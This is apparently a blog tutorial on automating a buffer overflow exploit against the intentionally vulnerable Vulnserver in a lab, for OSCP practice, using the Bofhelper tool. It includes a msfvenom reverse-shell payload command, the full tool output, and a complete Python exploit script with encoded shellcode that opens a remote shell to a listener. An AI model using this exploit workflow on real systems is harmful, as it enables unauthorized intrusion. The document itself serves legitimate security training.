This is the Automate Buffer Overflow Exploitation with Bofhelper post in which I demonstrate the use of this incredible ethical hacking tool. Buffer overflows take time, too much time.
Not just that, they also are difficult. Finding which characters have to be excluded is a tricky process. Once you get the hang of the process overall it is generally pretty straight-forward. That means that you can pretty much establish a strategy and from that create a template.
This has never really been done before and that is why I am excited to try out https://github.com/LegendBegins/Overflow-Helper which is an automation tool designed to make the buffer overflow process easier.
This tool was designed with the OSCP exam in mind and so too was this article. Too often security tutorials rely on Meterpreter for an easy exploit path. I’ll not use it and show how this can be done another way. Read on!
Not sure about Buffer Overflows or where to begin? Read my article that breaks it down in easy steps here.
Table of Contents
Here’s What You Need
- Bofhelper.py get it here.
- Windows 10 Virtual Machine ( VirtualBox )
- Kali Linux Virtual Machine ( VirtualBox )
- Immunity Debugger get it here.
- Mona script get it here.
Lab Setup
Step One: Install Immunity Debugger
Step Two: Install Mona
Move mona.py into the PyCommands folder found in the Immunity Debugger folder. On my VM it was under Program Files x86. But one thing is clear you need the vulnserver.exe and the essfunc.dll file in the same directory to run the application correctly.
Step Three: Start Vulnserver
Vulnserver.exe 1234
Step Four: Start Immunity Debugger and Attach to Vulnserver
Bofhelper
On the Kali Linux machine run bofhelper.py with the prefix flag (-p) and the bad character detection flag (-b) to get started. Also I throw in the output file to write the overflow steps into a script with the output flag (-o). This is another reason why this tool is so great, because even if the exploit fails for some reason the steps you make it to are written to a script that can be modified itself.
python bofhelper.py 192.156.56.109 1234 -p 'TRUN .' -b -o boscript.py
Here is an overview of the process of using bofhelper:
- Start vulnserver.
- Attach Immunity to running service.
- Start Bofhelper.py -p -b -o {script name} to crash the service.
- Restart vulnserver.exe and hit enter in Kali, put in the EIP address.
- Restart vulnserver and reattach ID to running service.
- Press enter on CLI on Kali machine to continue Bofhelper.py
- Bofhelper sends bad character list.
- Restart both again.
- Paste in hex dump output in Kali to continue.
- Bad characters are announced if they exist.
- Restart both or -q to stop bad character detection.
- Enter a command for the payload. Continue.
- Start a netcat listener and get a shell back.
Here is the same overview in command format.
Insert payload before or after overflow? (b/a)
>> a
Please specify an address to jump to (Big Endian)
JMP: 625011af
Exploit ready. Launch? (y/n)
Please restart the vulnerable application and your debugger. Press enter to continue
(-) Generating unique pattern to obtain exact offset
Service crashed. Please enter the value shown in the EIP exactly as it appears (Big Endian)
EIP: 396F4338
(-) Locating offset of EIP on the stack
(*) Exact match at offset 2006 (does not include the prefix)
(-) Beginning bad character detection.
Please restart the vulnerable service and your debugger. Press enter to continue
(-) Assuming \x00, \x0a, and \x0d are bad characters
(-) Sending character list
Please open your debugger and copy/paste the dump output from the beginning of the stack to least 256 bytes. Enter 2 newlines to stop or 'q' to terminate bad character detection.
00403000 FF FF FF FF 00 40 00 00 ÿÿÿÿ.@..
00403008 70 2E 40 00 00 00 00 00 p.@.....
00403010 FF FF FF FF 00 00 00 00 ÿÿÿÿ....
00403018 FF FF FF FF 00 00 00 00 ÿÿÿÿ....
00403020 FF FF FF FF 00 00 00 00 ÿÿÿÿ....
00403028 00 00 00 00 00 00 00 00 ........
00403030 00 00 00 00 00 00 00 00 ........
00403230 00 00 00 00 00 00 00 00 ........
00403238 00 00 00 00 00 00 00 00 ........
(-) Detecting bad characters
(*) Found bad character:
Please enter the full command of the msf payload you would like to generate
Command: msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -i 3 -f py
(-) Generating payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai succeeded with size 378 (iteration=1)
x86/shikata_ga_nai succeeded with size 405 (iteration=2)
x86/shikata_ga_nai chosen with final size 405
Payload size: 405 bytes
Final size of py file: 1983 bytes
Insert payload before or after overflow? (b/a)
>> a
Please specify an address to jump to (Big Endian)
JMP: 625011af
(-) Generating output file (modify and run exploit from that file to debug)
Exploit ready. Launch? (y/n)
>> y
(-) Sending exploit
(*) Exploit Sent!
(*) Script Complete.
Automation Buffer Overflow with Bofhelper
Of the available commands to vulnserver I am using the TRUN command. The trick with that is needing to use a little extra detail, “TRUN .” in order for it work. Regarding bofhelper this is the same conceptually only it means using the prefix option and supplying the TRUN command.
Buffer Overflow
Basically the logic is:
- Overflow to find the number of bytes needed to overflow the buffer.
- Find the exact location of the overwritten instruction pointer.
- Send enough bytes to reach the instruction pointer then use a JMP ESP address to overwrite it with instructing the program to execute at the location of the shell code.
- Send exploit and get a shell back.
So the first step of a buffer overflow is to *drumroll* overflow the buffer and crash the service. Crashing a service is the reason why you need to have a copy of the software you are trying against. That way you can restart it over and over again as I do in the next steps.
Nothing game-changing about this step, but bofhelper is very efficient at it. I have seen many different iterations of buffer overflow scripts and I really like this one. Bofhelper goes over a loop supplying bytes of “A” characters to vulnserver repeatedly until it crashes. Crashes or pauses in Immunity.
At this point I could be using the builtin ruby script in Kali, pattern_offset, to find the exact location in the pattern of the 4 bytes that overflow the instruction pointer. But bohelper automates that too!
The ESP register is overwritten with the custom pattern string as you can see. This means it worked and now the thing to do is give bofhelper the memory address for the EIP register.
Step bofhelper replaces: creating and sending a unique pattern string to identify the EIP memory address. This is done with Ruby in Kali Linux usually.
Bad Character Detection
Some characters don’t render well and end up botching the entire exploit. It sucks to narrow down these and guess what, bohelper automates this process too. Nice!
Step bofhelper replaces: bad char detection
Pasting the results and reviewing the output I don’t see any bad characters detected. Now I could repeat this step, meaning restart the service and try again, but I know from experience the only bad character I have used is null byte \x00 and that works just fine. Haven’t exploited Vulnserver before? Read my post quickly! Or continue on I explain each step of the process here as well.
This is the Msfvenom command that I used.
msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 EXITFUNC=thread -b '\x00' -e x86/shikata_ga_nai -i 3 -f py
The “\x00” parameter means don’t include any null bytes as these may disrupt the exploit.
Step bofhelper replaces: doesn’t exactly replace this step but you enter a payload generation command inline making it easier.
Finding the Right Jmp Address
Now that we can hijack the flow control of the program by overwriting the value of the instruction pointer we need to instruct the program to execute shellcode.
Looking at the loaded modules in Immunity, nt.dll is possible but conceptually essfunc.dll is a better fit as it does not have memory protection at all.
Since Immunity on Windows 10 will not let me do a right click > search for commands > search in all modules by default I will have to do it the harder way.
# List all the modules
!mona modules
Issue this command to list all the modules with jmp esp.
!mona jmp -r esp
The next step is finding the op code equivalent of JMP ESP.
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
FFE4 jmp esp
Now this in Little Endian is “\xff\x\e4”. The address will be read from the bottom ( higher memory location ) towards the top of the stack ( lower memory location ) so we have it in reverse here.
# find the address
!mona find -s “\xff\xe4” -m essfunc.dll
Output Script
I take a moment out to look at the exported exploit script. Surprise it’s all of the steps so far in a freaking script, all done for us!
#!/usr/bin/python
import socket
buf = b""
buf += b"\xda\xdd\xb8\x25\xad\xc0\xf6\xd9\x74\x24\xf4\x5d\x2b"
buf += b"\xc9\xb1\x5f\x31\x45\x19\x03\x45\x19\x83\xed\xfc\xc7"
buf += b"\x58\x7e\xef\x94\xe2\xd4\xca\x4e\x3d\x5e\xcf\x9a\xe5"
buf += b"\xae\xc6\xd3\x42\xe0\xab\x06\x70\x71\x59\xab\x9d\x89"
buf += b"\x83\x47\x29\xf8\x57\x3e\x54\x74\x22\x2c\xdd\x32\x4c"
buf += b"\x79\x59\x43\x97\x3a\xf5\x78\x2b\x84\xe1\xb9\x05\xae"
buf += b"\x0c\xe9\xb7\xfa\x7d\x20\x2a\x5c\x65\x55\xf9\xfd\x2d"
buf += b"\x7f\x47\x1c\xf6\x6f\x9c\x3b\xb6\x45\xd2\x9a\xe1\xc4"
buf += b"\x1f\x0e\xb5\xbe\x08\x80\xf0\xac\x9b\x0f\x29\x8d\x83"
buf += b"\x39\x1e\x52\x6c\x51\x44\xef\x02\x91\xec\x1a\x93\xf1"
buf += b"\xfa\xf6\x6b\x4a\xff\x76\x04\x1f\xcd\x84\xf7\x83\x72"
buf += b"\x85\xf7\x47\x03\x06\xcd\x8f\x3d\x62\x72\xe4\xbf\x8f"
buf += b"\x2c\x04\x5e\xda\x04\x20\x8e\xfd\x75\x15\x17\xa0\x1c"
buf += b"\x37\x09\x96\xa9\xd7\x7b\x57\x39\xd9\xba\xf5\x5b\x59"
buf += b"\xce\x2e\x7a\x30\xe8\x36\x76\x1e\x21\x74\x62\x26\x61"
buf += b"\xf3\x40\xca\xd3\x91\xff\xd2\xae\x26\xd4\x2f\x82\xe5"
buf += b"\xae\x87\x5a\xb3\x40\xdb\x42\x9d\x7d\x8e\x4b\xf5\x99"
buf += b"\x80\xf6\x22\xa2\xe4\xd4\xc9\x2d\x44\xd5\xd6\x37\x6b"
buf += b"\xd6\x18\x50\xd3\xce\x9b\x5f\x4b\x14\xf1\xe3\x5f\x19"
buf += b"\xfa\xaf\xcb\x70\x93\xe3\x57\xa6\x27\x6e\xb3\xa0\xf8"
buf += b"\xd4\xf5\xe3\xb3\x9a\x92\x3e\x53\x1d\xeb\x43\xfe\x55"
buf += b"\xaa\x2b\xf9\x2f\x0f\x95\xae\xa2\xc4\xc0\xff\xa6\xca"
buf += b"\x5d\xe1\x07\x5b\xd6\x4e\x82\x74\xcc\x7b\xfd\x26\xd8"
buf += b"\xa0\x50\x33\xba\xaa\xcb\xb7\xab\xb6\xea\x08\x51\xa6"
buf += b"\x5f\x08\x48\xf5\xc9\x12\xa3\xe5\xcc\xbe\x04\x08\x87"
buf += b"\x26\x21\x46\xd7\x3e\x71\xbf\x6e\x0f\xb9\xf6\x0b\x87"
buf += b"\x85\x02\x1b\xa0\x28\x6b\x64\x82\x2b\x7a\xb4\x6d\xc9"
buf += b"\xb0\x07\xc7\x1c\x55\x9b\x48\xd3\x18\x63\x8e\x2c\xbe"
buf += b"\xe4\xe0\x75\x44\xd9\xe3\x65\x63\x05\x4c\x80\xc8\x1b"
buf += b"\x4d\xa2\x79\x0e\x07\x8f\x44\x20\x4b\xc1\xf7\x9b\x33"
buf += b"\x62\x33\xaa\xee\xa2\xcf\x36\x9b\x11\x15\x09\xb0\x7e"
buf += b"\xc9\x24"
buf = "\x90"*16 + buf
exploit = "TRUN ." + "A"*2006 + "\xaf\x11\x50\x62" + buf + ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "(-)Sending exploit..."
s.connect(("192.168.56.110",777))
data=s.recv(1024)
print data
s.send(exploit)
s.close()
Notice how even the little details are all taken care of automatically. For instance look at the NOP-sled variable. Basically a NOP-sled is used to move the program flow from one memory address to the next. It allows for smooth execution flow for us.
Exploit
The fun part! Lastly bofhelper sends the exploit code and I get a shell back.
Start a netcat listener and get a shell back. Shell is all mine. What an incredible tool. This saves a huge amount of time and I can hope improvements-to-come will make it nearly perfect.
FAQ
Q. My exploit did not work, what happened?
A. Check that your payload is correct. Run the payload command in a separate terminal and make sure it completes. Now go back to through the steps again.